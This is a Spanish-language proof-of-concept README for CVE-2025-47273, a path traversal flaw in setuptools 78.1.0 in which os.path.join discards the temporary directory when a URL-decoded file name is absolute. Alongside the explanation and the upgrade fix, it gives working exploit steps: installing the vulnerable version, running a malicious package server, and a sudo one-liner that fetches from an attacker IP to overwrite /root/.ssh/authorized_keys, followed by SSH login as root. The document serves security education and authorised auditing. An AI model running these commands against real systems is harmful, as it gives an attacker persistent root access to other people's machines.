
CVE-2025-47273 es una vulnerabilidad de path traversal de alta gravedad en la librería setuptools, específicamente en la versión 78.1.0.
Este Prueba de Concepto (PoC) está destinado únicamente a fines educativos y auditorías de seguridad autorizadas. El autor no asume ninguna responsabilidad por el mal uso de esta información. El acceso no autorizado a sistemas informáticos es ilegal y poco ético.
CVE-2025-47273 es una vulnerabilidad de path traversal encontrada en el módulo package_index de la librería setuptools (v78.1.0 y anteriores). La vulnerabilidad permite a un atacante realizar una escritura arbitraria de archivos proporcionando una URL especialmente manipulada al método PackageIndex.download().
El fallo proviene de una trampa común en la función os.path.join() de Python. Según la documentación de Python:
Si un componente es una ruta absoluta, todos los componentes anteriores se descartan y la unión continúa desde el componente de ruta absoluta.
En la versión vulnerable de setuptools, el nombre del archivo de destino se determina extrayendo un nombre de la URL y uniéndolo con un directorio temporal:
# setuptools/package_index.py
filename = os.path.join(tmpdir, name)
Si un atacante proporciona una URL donde la parte del nombre del archivo (después de la decodificación de la URL) comienza con una barra diagonal /, os.path.join descarta el prefijo tmpdir y devuelve la ruta absoluta proporcionada en la URL.
[ Attacker-Controlled URL ]
http://attacker.local/%2fetc%2fpasswd
|
| 1. URL Decoding
v
[ Decoded Filename (name) ]
"/etc/passwd"
|
| 2. Vulnerable Function Call
v
os.path.join("/tmp/download_dir", "/etc/passwd")
|
| 3. Python os.path.join Logic
v
[ Resulting Path (filename) ]
"/etc/passwd" <-- /tmp/download_dir is discarded!
Dado que la ruta de destino puede manipularse para convertirse en una ruta absoluta, un atacante puede escribir contenido arbitrario en cualquier ubicación del sistema de archivos donde el proceso tenga permisos de escritura.
setuptools se ejecuta con privilegios elevados (por ejemplo, un instalador de todo el sistema), un atacante puede sobrescribir archivos críticos del sistema como /etc/passwd, /root/.ssh/authorized_keys, o /etc/shadow y muchas otras posibilidades...~/.bashrc, ~/.ssh/authorized_keys, o inyectar código en librerías Python existentes puede conducir a una Ejecución Remota de Código persistente./root/.ssh/authorized_keys )La vulnerabilidad está presente en la versión 78.1.0 de setuptools.
pip install setuptools==78.1.0
ssh-keygen -t rsa -b 4096 -f id_rsa -N ""
El script server.py actúa como un índice de paquetes malicioso. Sirve un archivo de payload independientemente de la ruta solicitada, y el archivo que servimos es id_rsa.pub.
python3 server.py 80
Dispara la escritura de archivo usando este comando y luego puedes hacer ssh a root con tu par de claves ssh previamente creado.
sudo python3 -c 'from setuptools.package_index import PackageIndex;PackageIndex().download("http://<ATTACKER_IP>:80/%2froot%2f.ssh%2fauthorized_keys", "/tmp")'
ssh -i id_rsa root@<target-ip>
La vulnerabilidad fue corregida en la versión 78.1.1 de setuptools. La corrección implica sanear estrictamente la variable name derivada de la URL para garantizar que no contenga barras iniciales ni letras de unidad antes de pasarla a os.path.join().
Para asegurar tu entorno:
pip install --upgrade setuptools